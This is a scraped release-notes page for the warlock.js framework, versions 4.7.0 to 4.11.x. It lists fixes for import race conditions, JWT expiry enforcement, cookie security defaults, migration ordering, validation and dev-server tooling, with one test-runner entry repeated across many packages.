new Image(...)no longer fails depending on how soon you call it. TheImagemodule firedimport("sharp")at load time without awaiting it, and the constructor only checked whether that import had _failed_ — never whether it was still in flight. Constructing an image in the first tick after importing the package therefore ran with an undefined sharp function and died withTypeError: sharpFn is not a function; the exact same code passed if something had awaited a timer first. Anything that builds an image during boot — a startup thumbnail job, a module-level warm-up — hit it, and it presented as a mysterious "works locally, breaks in prod" timing bug rather than as a missing dependency - FixedA sharp that is installed but will not load no longer reports itself as "not installed". The resolution above swallowed every failure into a single outcome, so the most common real-world sharp problem — the package present but its native binary built for another platform — arrived as
sharp is not installed.plus instructions to runnpm install sharp, which cannot fix it. sharp throws its own long, actionable error naming the runtime, the failing.nodefile and the exact install flags to use; that text was discarded and replaced with a different, wrong cause - Fixed
renderReact()no longer renders against modules that have not loaded yet. The same defect as the two above, in a second module, found by looking for the pattern rather than by a bug report.react/index.tsfiredimport("react")andimport("react-dom/server")at load time without awaiting either, and tracked them with a three-state flag that the guard only tested for one state:if (moduleExists === false). While the imports were in flight the flag wasnull, which is notfalse, so the guard passed and the synchronousrenderReactreadcreateElementoffundefined. With two sequential dynamic imports the window is wider than the image module's, and it is open during exactly the work a server does at boot — rendering a page or an email template from a module-level warm-up - FixedA broken
react-dom/serverno longer reports itself asreact is not installed. The two packages were loaded in onetryand collapsed into one flag, so any failure of either was attributed to react. The specifiers are now resolved and reported separately, and the message names the one that actually failed —Failed to load "react-dom/server": …— because sending an operator to reinstall react when react is fine costs them the debugging session. Absence is distinguished from breakage the same way as for sharp:MODULE_NOT_FOUNDand a message naming the specifier exactly, quoted, which is also what stops'react-dom'from satisfying a check for'react'. Everything else surfaces the original error, inlined and chained ascause. Areact-domwhose./serversubpath is missing fromexportsraisesERR_PACKAGE_PATH_NOT_EXPORTED, so it correctly reports as an incompatible install rather than an absent one
- Added
warlock auth.purge-never-expiring— remediation for rows written by theexpiresIndefect below. Finds every access- and refresh-token row that can never retire itself, on two independent signals: anexpires_atthat is missing or unparseable, and a persisted token carrying noexpclaim. Reportsid,user_id,user_typeandexpires_atper row (never the token string — it is a live credential until the command removes it), then deletes them. Pass--dry-runto report without deleting. - ChangedPotentially breaking: a JWT with no
expclaim is rejected byjwt.verify/jwt.verifyRefreshToken. No supported configuration produces one: an app that wants a token that effectively never expires setsexpiresIn: NO_EXPIRATION("100y"), which mints a realexpabout a century out (ms("100y")⇒3155760000000;exp - iat⇒3155760000seconds). "No deadline" and "a distant deadline" are different things, and only the second was ever asked for. If you sign tokens with your own signer and feed them to this package's verifier, they must carryexp. - ChangedPotentially breaking:
RefreshToken.isExpirednow answerstruefor a missing or unparseableexpires_at; it previously answeredfalse("no expiry recorded ⇒ never expires"). That reading handed an unlimited life to precisely the malformed rows.expires_atisrequiredin the schema — a row that cannot say when it dies is malformed, not immortal.AccessToken.isExpiredis new and fails closed the same way. - ChangedPotentially breaking: an invalid
accessToken.expiresIn/refreshToken.expiresInnow throws on token issue instead of producing a token with a wrong or absent expiry. Valid configuration is unaffected —"1h","7d","30 days",NO_EXPIRATION("100y"), the1haccess default when the key is absent, and the7drefresh default all behave exactly as before. An empty string (e.g.env("JWT_TTL")with the variable unset) now throws rather than falling back; give the env read an explicit default. - Changed
authConfig.accessToken.expiresInMs()/authConfig.refreshToken.expiresInMs()are the validated accessors token issuers must use; the rawexpiresIn()accessors are unchanged. - ChangedRemoved the
as ms.StringValuecasts on both call sites. They were what let arbitrary config text compile againstms's template-literal type and reach the signer asundefined. - ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to - FixedAn
expiresInthemspackage cannot parse no longer mints a credential that never expires.accessToken.expiresIn: "30dayz"(or"thirty days", or any truthy-but-unparseable value) madems()returnundefined, which the signer emitted as a JWT with noexpclaim, alongside a token row whoseexpires_atwasInvalid Date. The old guard tested the raw config string for truthiness, so the1hfallback was unreachable in exactly the case it existed for.refreshToken.expiresInhad no fallback at all. - Fixed
expiresIn: "0d"(and any non-positive duration) is rejected too. It is truthy and parses cleanly to0, so it survived any guard that only rejectsundefined— andfast-jwtskips its own validation for0, emitting a token with noexpclaim while the persisted row claims it expired immediately. - FixedA bare number (
expiresIn: 2592000) is now rejected instead of silently corrupting the expiry.ms_formats_ numbers rather than parsing them (2592000⇒"43m"), which then poisonedDate.now() + expiresInintoInvalid Date. Write"30d". - SecurityA token with no
expclaim is now rejected instead of being accepted forever.fast-jwthas no deadline to check on such a token, so verification simply succeeds — measured againstfast-jwt@6.2.4, a token with noexpverifies unchanged atclockTimestamp+ 100 years. Bothjwt.verifyandjwt.verifyRefreshTokennow require anexpclaim. - SecurityThe persisted
expires_atis now enforced on every request.authMiddlewarepreviously checked only that the access-token row _existed_; a row whose own expiry had passed still opened the gate, because nothing ever asked. The row is now checked against the clock and deleted on rejection.
- Added
listPendingMigrations()— the registered migrations that have not executed, in the order they will execute, mirroringlistExecutedMigrations(). The set was already computed inside the runner on every migrate run;getPendingMigrations()wasprivateand had no read-only exit, so nothing outside could ask "what will run next?" without running it - ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to - ChangedAdds a
testscript. The package shipped atests/directory with no way to run it, so the suite was reachable only by knowing to typenpx vitest— which resolves whatever happens to exist in the tree rather than anything the manifest asked for
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
- ChangedDeclares its own test runner and pins it to an exact version (
vitest@4.1.10). The package is its own repository, so a runner resolved from a workspace root it may not be cloned with is a runner it cannot rely on. The pin is exact rather than a range because the version moved underneath the suite mid-development on an unrelated install — a suite whose runner can change without anyone choosing it proves less than it appears to
4.11.0August 10, 2026
@warlock.js/core fixes four cases where the framework reported success it had not verified: a production bundle that imported a package your app never declared and so could not boot under pnpm, env() returning its default inside warlock.config.ts, warlock start printing its started banner before the app had booted, and a storage connector that could not start an app shipping no src/config/storage.ts. Also raises @mongez/dotenv to ^1.3.1.
Full release notes or run npx warlock release-notes.
- Added
startHttpTestServer({ port })— run an integration suite on an explicit port, honoured overHTTP_PORTin.env, which the internal bootstrap re-reads and no caller could previously override - Addedthe test server preflights its port and fails with "stop the dev server" naming the port, instead of a raw
EADDRINUSEfrom inside Fastify - Added
Application.setServedPort()and aportfield on the readiness signal, so a supervisor learns the bound http port from the app rather than re-deriving it from config it may not be able to read - Added
setConfig(name, value)— the write side of the config store, exported separately from the read-onlyconfigaccessor so registering configuration stays a deliberate boot-time act - Changed
@mongez/dotenvis now required at^1.3.1(was^1.2.4). Under the old range a fresh install resolved to 1.3.x while an existing lockfile could stay on 1.2.x, so we could not say which behaviour a given consumer actually had. 1.3.x only changes cases that were previously wrong:env()now consultsprocess.envinstead of returning a default for a key the environment defines,${VAR}interpolation throws naming the key instead of baking the string"undefined"into a value, and numeric coercion no longer corrupts values like0123456789or IDs beyond 2^53. Precedence between.envfiles and injected variables is unchanged - FixedA production bundle no longer imports a package your app does not declare.
warlock build's generated config loader emittedimport config from "@mongez/config"— one of _core's_ dependencies, never the app's. npm and yarn hoist flat so it resolved by accident; under pnpm's strict layout the shipped bundle died at boot withERR_MODULE_NOT_FOUNDfor a package the app had no reason to install. The generator now emitssetConfigfrom@warlock.js/core, which the app does declare, and Node resolves@mongez/configfrom core's own install — correct under pnpm, and portable, unlike baking absolute paths into an artifact meant to be copied between machines - Fixed
env()insidewarlock.config.tsno longer always returns its default. The config module was evaluated _before_ any.envfile was read, so a project following the documentedbuild: { outdir: env("BUILD_OUT", "dist") }recipe silently gotdistno matter what the environment said — under every command,devincluded, and underbuildandstartenv was never loaded at all. Env files are now loaded beforewarlock.config.tsis evaluated, for every command - FixedAn application without
src/config/storage.tscan boot again. The storage connector starts unconditionally, on the documented grounds thatstorage.init()falls back to a built-inlocaldriver so file storage works out of the box. That fallback was never implemented:init()resolved the default driver _name_ and then found nothing registered under it, so any app without a storage config died at boot withStorage driver "local" is not configured. A built-inlocaldriver rooted atuploadsPath()is now registered before configured drivers — so an app defining its ownlocalstill overrides it, and naming a driver that genuinely does not exist still fails loudly - Fixed
startHttpTestServerno longer breaks a suite that configureshttp.port: 0.0is the OS's "pick a free port for me" idiom, but the guard only checkedtypeof port !== "number", so0fell through: the preflight bound an unrelated ephemeral port and passed without proving anything, and0was then published as the bound port, pointing every request in the suite athttp://host:0. An explicit0now takes the same path as no configured port — no preflight, nothing published, Fastify picks the port - Fixed
warlock startno longer claims success before the app has booted. The startup banner printed inpreAction— before the child process was even spawned — and the failure that followed went only to stderr. Any CI gate or process supervisor that watches stdout for the banner read a 🔴 boot failure as a healthy start, which is how a production app that never booted was recorded as running. The banner now prints only when the application reports a completed boot, and a child that dies before reporting is a failed start: the message goes to both stdout and stderr, and the exit code is forced non-zero even when the process itself exited0 - Deprecatedthe
envpreloader flag on a CLI command is no longer read — env is loaded for every command that declares a preload block. Setting it is harmless and does nothing; remove it. Dropped at 5.0
4.10.0August 9, 2026
@warlock.js/core makes response.cookie secure by default — httpOnly, sameSite: "lax", and secure outside development are applied unless you override them. Nothing set them before, so a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer passed three flags on every call; nothing failed when they were missing. @warlock.js/auth documents two things that were previously only findable by reading source: that authMiddleware gates on flat user-type matching and points at @warlock.js/access for permission matrices and who-may-act-on-whom policies, and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work.
Full release notes or run npx warlock release-notes.
- Changed
response.cookieis now secure by default —httpOnly: true,sameSite: "lax", andsecure: trueoutside development are applied unless overridden. Previously nothing set them: a cookie was readable by any injected script, sent in cleartext, and attached to cross-site requests unless the developer knew to pass three flags on every call. Nothing failed when they were missing, so the app worked and was simply insecure. Precedence is framework defaults →http.cookies.options→ the per-call argument, so opting out stays possible and explicit.secureis relaxed only in development, because browsers drop aSecurecookie over plain http
- Changed
protect-routesdocuments two things that were previously only discoverable by reading source: thatauthMiddlewaregates on user type by flat string match and cannot express a permission matrix, role hierarchy, or who-may-act-on-whom — with a worked pointer to@warlock.js/access(gate,can,definePolicy) for exactly that; and that auth is bearer-token by design, with cookie sessions and CSRF being app-level work rather than an omission
4.9.2August 9, 2026
@warlock.js/cascade fixes migrate:rollback running down() migrations in *apply* order — the rollback list was reversed and then re-sorted ascending, putting it straight back, so any batch with more than one migration could drop a table before dropping the column added to it. @warlock.js/seal fixes v.literal(""), which could never pass because every validator is required by default and "" counts as empty — while .optional() looked like a workaround but silently disabled the literal check entirely; seal also stops returning the rejected input as data on a failed validation, closing a leak where an outbound DTO's internal fields reached callers who didn't branch on isValid, and fixes v.number().toFixed(n), which returned a string its own number rule then rejected. @warlock.js/core stops the generated dev-server loader hook shipping bare esbuild / get-tsconfig imports into your project, which broke warlock dev on pnpm's strict layout.
Full release notes or run npx warlock release-notes.
- Fixed
migrate:rollbackandmigrate:rollback --allrandown()migrations in apply order instead of reverse.getMigrationsToRollbackreversed the executed list and then re-sorted it ascending, which put it straight back into forward order and made the reverse dead code — so a rollback would drop a table before dropping the column added to it, failing withrelation "…" does not exist. Any batch containing more than one migration was affected; single-migration batches hid it because one item has no order to get wrong - Fixedmigration ordering now lives in
migration-order.tswith an explicitsortMigrationsForRollback. The descending sort is required, not cosmetic: the executed list is read back ordered bybatch, name, so it is alphabetical rather than chronological and simply _not_ re-sorting after the reverse would have produced reverse-alphabetical order — a different wrong answer
- Fixed
v.literal("")could never pass. Every validator is required by default andrequiredrejects anything the empty-value check calls empty — which includes""— so a schema demanding an exact empty string reported "is required" for a field that was present. A literal set containing an empty value now usespresent(the key must exist) instead ofrequired, leaving the literal set to judge the value. Only the empty string was affected;v.literal(0)andv.literal(false)always worked - Fixed
v.literal("").optional()silently disabled the literal check rather than fixing it, accepting"",nulland a missing key alike. The literal rule now runs on empty values (requiresValue: false) while treating absence as the required/present rule's question, so.optional()means optional again and a present value must still match - Fixeda failed validation no longer returns the input it rejected.
objectreturned the raw input — including the unknown keys it had just complained about — whilediscriminatedUnionreturnedundefined; the same call shape had two contracts. Validating an outbound DTO to keep internal fields out of a response, then readingdatawithout branching onisValid, shipped every field the schema existed to exclude.datais nowundefinedwheneverisValidisfalse - Fixed
v.number().toFixed(n)could never produce a valid result — the mutator returnedNumber(value).toFixed(n), a _string_, which the validator's ownnumbertype rule then rejected. It now yields a number (3.14159→3.14), so the method works where it lives. No working code can have depended on the old output, since every such validation failed; for a fixed-point _string_, format at the presentation edge rather than asking a number schema to emit one
- Fixedthe dev server's generated
.warlock/loader-hook.mjsno longer ships bareesbuild/get-tsconfigimports. That file is written into the consuming app's directory, so a bare specifier resolves from the app — but both packages are core's own dependencies. npm and yarn hoist flat so it worked by accident; under pnpm's strict layout the dev server died withERR_MODULE_NOT_FOUNDfor a package the app never imported. Each npm specifier is now rewritten at generation time to an absolute path resolved from core's own install, so no consumer has to declare a phantom dependency
4.9.1August 6, 2026
@warlock.js/cascade fixes a silent data-loss bug in .save({ merge }): a Date written over a column that already held a Date was discarded — the dirty tracker treated any typeof "object" value as mergeable and recursed into the Date, which has no own enumerable properties, so nothing was copied and the column never went dirty. save() returned { success: true, modifiedCount: 0 } and issued no UPDATE. Only plain objects deep-merge now; Date, Map, Set and every other class instance replace.
Full release notes or run npx warlock release-notes.
- Fixed
save({ merge })silently dropped aDatewritten over a column that already held aDate— the dirty tracker's merge treated anythingtypeof "object"as mergeable and recursed into theDate, which has no own enumerable properties, so nothing was copied and the old value survived. The column never went dirty andsave()returned{ success: true, modifiedCount: 0 }without issuing anUPDATE. Only plain objects deep-merge now;Date,Map,Set,RegExpand every other class instance replace, matching whatmodel.dataalready did. Writing into an empty column always worked, so only overwrites were affected
4.9.0August 6, 2026
@warlock.js/core's dev server now runs supervised — a thin parent respawns the server instead of stacking a process per restart — and restarts itself when warlock.config.ts or .env changes, with keyboard shortcuts (r restart, c clear, q quit, h help, u update-and-restart), crash recovery, Bun lockfile support in update / add, new update --dry-run / --check flags, and an honest offline update check that no longer reports "already up to date" when npm was never reached. @warlock.js/cascade fixes migrations running in filename order instead of chronological order on a fresh database — the sort parsed timestamps with new Date(), which cannot read the framework's own MM-DD-YYYY_HH-MM-SS stamp, so every one collapsed to the alphabetical tiebreaker. The release also fixes build.outDirectory — the name the docs used for several releases while only build.outdir was ever read, so a config written from the documentation was silently ignored. @warlock.js/ai workflow run steps now correctly nest a directly-invoked agent (workflow → agent → tool) instead of producing two disconnected top-level traces, and @warlock.js/ai-openai now defaults reasoning_effort to "none" automatically whenever a reasoning-capable model is called with tools, closing the gap that left tool calls broken on gpt-5 / o-series models unless every call site opted in by hand.
Full release notes or run npx warlock release-notes.
- Added
warlock devkeyboard shortcuts —rrestart,cclear,qquit,hhelp — armed once the server is ready and listed byh. TTY-gated, andCtrl+Ckeeps working while raw mode is held - Addedpress
uon thewarlock devupdate notice to update every@warlock.js/*dependency, install, and restart the server in place — no Ctrl+C round-trip. Falls back to the printednpx warlock updatecommand when the terminal can't deliver keypresses (CI, piped stdin, supervisors) - Added
warlock devnow runs as a supervised pair — a thin parent that owns the terminal and a disposable worker — so restarting replaces the worker instead of stacking a process per restart, and the supervisor never loads config or connectors - Added
warlock devrestarts automatically whenwarlock.config.tsor any.env*changes, since neither can be hot-reloaded; opt out withdevServer.restartOnConfigChange: falsefor the previous warning - AddedBun support in
warlock updateandwarlock add—bun.lock/bun.lockbare detected and drivebun install/bun add - Added
warlock devrecovers from a crash: a worker that dies after running healthily for 5s is replaced automatically, while one that dies during boot is left alone so its error isn't buried under a reprint. Capped at 3 crashes per minute - Added
warlock update --dry-runreports what would change without touching anything, and--checkdoes the same but exits1when a package is behind — a CI gate for staying current - Changedthe dev-server update check remembers npm's answer for 24h in
.warlock/update-check.json, so a day of restarts costs one lookup instead of one per boot; failed lookups are never cached, and the entry is dropped once an update is applied - Fixed
warlock startspawnsprocess.execPathinstead of a barenode, which failed withENOENTwherevernodeis not onPATH(systemd units, cron, slim containers) and could otherwise pick a different Node version than the one running the CLI - Fixed
warlock addno longer carries its own package-manager detection that silently produced an undefined install command when the project had no recognised lockfile — it shares the updater's detection - Fixed
build.outDirectory— the name the docs have used for several releases — is now actually read. Onlybuild.outdirever was, so a config written from the documentation was silently ignored and the bundle still went todist/. Both names now work (outdirwins if you set both) and the docs lead withoutdir - Fixed
warlock updateno longer reports "All @warlock.js packages are already up to date" when it never reached the npm registry — an offline run now says so and changes nothing - Fixeda failed package-manager install during
warlock updateno longer loses the rewrittenpackage.json; the CLI still exits non-zero - Fixedthe dev server's update check now uses a 5s abort budget instead of 30s, so a hanging network can't leave a pending request behind a running server
- Fixedmigrations ran in filename order instead of chronological order on any fresh database.
SQLGrammar.sort— the comparator that decides execution order across every pending migration — parsedcreatedAtwithnew Date(), which cannot read theMM-DD-YYYY_HH-MM-SSstamp the framework's own generator produces; every timestamp becameNaN, was floored to0, and the alphabetical tiebreaker silently decided the whole ordering. A January 2026 migration would run before a December 2025 one - Fixed
parseCreatedAtnow lives in its own module and backs both migration comparators through a sharedcompareCreatedAt, so the two can no longer drift apart — one of them being wrong was the symptom, two comparators sorting the same data by different rules was the defect
- Added
StepSnapshot.children— reports a workflowrunstep captured from any executable its callback invoked DIRECTLY (agent.execute(...)rather than the declarativeagent:field), via the same ambientRunFramea supervisor/team/orchestrator callback already gets.report.childrennow includes these alongsidestep.agentreports. - FixedA workflow
runstep that callsagent.execute()directly no longer produces two disconnected top-level traces (one "agent", one "workflow") with the agent missing fromreport.children— it now nests correctly (workflow → agent → tool, usage/cost rolled up) and no longer also self-routes as a separate observed trace. Declarativestep.agentwas already correct; this closes the gap for ad-hoc calls insiderun(self-documented inworkflow/engine.tsas a known limitation).
- Fixed
reasoning_effortnow defaults to"none"automatically on a reasoning-capable model called WITHtoolsand no explicitreasoning.effort— previously this required every call site to opt in (added in 4.8.0), so any agent/model config that didn't know to pass it kept hitting rejected tool calls (empty replies, or a hard 400 on newer model generations —"Function tools with reasoning_effort are not supported ... in /v1/chat/completions"). An explicitreasoning.effortstill overrides the default in either direction; calls with notoolsare unaffected.
4.8.2July 22, 2026
@warlock.js/ai-panoptic's dashboard gains an "Evaluate system prompt" drawer action — its first write-capable route — plus a round of dashboard reliability fixes (auth-token forwarding, a silent cache-store failure hook) and a @warlock.js/ai peer-dependency / redact() hardening pass.
Full release notes or run npx warlock release-notes.
- Added
DashboardOptions.evaluate— an "Evaluate system prompt" drawer action that grades a trace's last captured system prompt via an LLM judge, editable per-run instructions included; the dashboard's first and only write-capable route (POST .../spans/:spanId/evaluate), off unless configured and gated by the sameauthToken/allowedHostschecks as every other route - Added
evaluateSystemPrompt/extractLastSystemPrompt/findSpanById— the building blocks behind the drawer action, exported for scripting a grade outside the UI - FixedThe dashboard's client-side poll (
GET {basePath}api/aggregate/api/traces) now carries the page's?token=as anAuthorization: Bearerheader on every request — previously, onceauthTokenwas configured the initial page load succeeded (the browser's navigation request carries the query string) but every subsequent 2s poll had no auth attached and 401'd forever, leaving the dashboard stuck on an empty/error state despite loading successfully - Fixed
PanopticConfig.cachefailures (hydrate-on-startup or write-through — bad URL, unreachable Redis, auth failure) are no longer swallowed into total silence: a newPanopticConfig.onErrorhook fires on every failure, defaulting tolog.error("ai-panoptic", "cacheStore", error)when not supplied, so a misconfigured cache driver now surfaces in logs instead of leaving the dashboard permanently empty with zero diagnostic
- Added
judgePromptBody/formatCriteria/JudgeOutcome— the LLM-as-judge building blocksai.prompts().validate()already used internally are now public, so other packages (@warlock.js/ai-panoptic's trace-level system-prompt evaluation) can grade arbitrary prompt text against a model + rubric without a second judging implementation - Fixed
redact()no longer collapses a rawError(or anErrornested in acausechain) to{}—name/message/stackaren't own-enumerable onErrorinstances, so the previousObject.entries()walk saw none of them. This was silently dropping tool/agent errorcausedetail whereverredact()runs it, including@warlock.js/ai-panoptic's tracecausefield (a failed tool'sToolExecutionError.causeshowed as an empty object in the dashboard instead of the underlying thrown error) - Fixed
@warlock.js/ai-openaiandpdf-parsedeclared as optionalpeerDependencies— both are lazilyimport()ed (the skills-catalog embedder probe;ai.rag.loadPdf) but weren't listed in eitherdependenciesorpeerDependencies, so pkgist's bundler vendored their source directly intoai's own build instead of leaving them external (the same split-brain class of bug ascore's missing@warlock.js/aipeerDependency, fixed in 4.8.1). For@warlock.js/ai-openaispecifically this meant the skills-catalog embedder-installed probe always resolved against the vendored copy bundled intoai, so it reported an embedder provider as "installed" even when the app never installed@warlock.js/ai-openaiitself
4.8.1July 21, 2026
Fixes a split-brain bug where @warlock.js/core's bundler vendored its own disconnected copy of @warlock.js/ai (and the same gap for @warlock.js/access / @warlock.js/notifications) because they weren't declared as peer dependencies — the vendored copy's config never reached listeners (e.g. ai-panoptic's dashboard) registered against the real installed package. Also logs previously-swallowed onConfigApplied listener errors in @warlock.js/ai.
Full release notes or run npx warlock release-notes.
- Fixed
@warlock.js/ai,@warlock.js/access, and@warlock.js/notificationsdeclared as optionalpeerDependencies(matching the existing@warlock.js/heraldpattern) so pkgist's bundler leaves them external instead of vendoring their source into core's own build — a vendored@warlock.js/aicopy was a disconnected module instance whose config listeners (e.g.ai-panoptic's dashboard wiring) never receivedai.config(...)calls routed through the real, separately-installed package
- Fixed
setAIConfig'sonConfigAppliedlistener notification no longer swallows a misbehaving listener's exception silently — it's now logged vialog.error("ai", "configListener", error)
4.8.0July 19, 2026
A new reasoning: { effort: "none" } level in @warlock.js/ai runs a reasoning model without reasoning, explicitly — @warlock.js/ai-openai emits reasoning_effort: "none" so OpenAI gpt-5 / o-series models accept function tools instead of returning empty replies, and the budget-based adapters (@warlock.js/ai-anthropic, @warlock.js/ai-google, @warlock.js/ai-ollama) map it to reasoning-off.
Full release notes or run npx warlock release-notes.
- Added
reasoning: { effort: "none" }now emitsreasoning_effort: "none"on the wire — unblocks function tools on gpt-5 / o-series reasoning models, which otherwise reject tools on Chat Completions while reasoning is active and return empty replies.
- Added
reasoning: { effort: "none" }— a neutral "run without reasoning, explicitly" level onReasoningEffort; OpenAI emitsreasoning_effort: "none"so gpt-5 / o-series accept function tools, and budget-based adapters (Anthropic / Bedrock / Google / Ollama) disable thinking.
- Changed
reasoning: { effort: "none" }disables extended thinking (emits nothinkingblock) — the neutral "run without reasoning" level, consistent across adapters.
- Changed
reasoning: { effort: "none" }maps tothinkingBudget: 0— Gemini's native reasoning-off switch, the neutral "run without reasoning" level.
- Changed
reasoning: { effort: "none" }maps tothink: false— the neutral "run without reasoning" level, consistent across adapters.
4.7.0July 6, 2026
@warlock.js/ai gains the prompt compiler — systemPrompt().refined({ model, criteria, store }) lazily rewrites human-authored prompt text into a model-optimized version, pinned like a lockfile with machine-enforced placeholder parity and an always-safe fallback to the original — plus ai.prompts.validate({ criteria }) to grade a prompt against your own rules. @warlock.js/fs gains an ergonomic async fs facade — fs.files.* / fs.dirs.* grouping, lazy File / Directory handles, read-modify-write helpers (edit / editJson / mergeJson), recursive walk, and zero-dependency schema-validated JSON. @warlock.js/cascade lands a driver-correctness pass — a dozen real Postgres/MongoDB driver fixes (multi-row findAndUpdate, where-scoped update / unset / deleteOne, pivot detach, MongoDB with() eager-loading, per-subclass global scopes) plus new lockForUpdate({ skipLocked }) row locking (FOR UPDATE SKIP LOCKED).
Full release notes or run npx warlock release-notes.
- Added
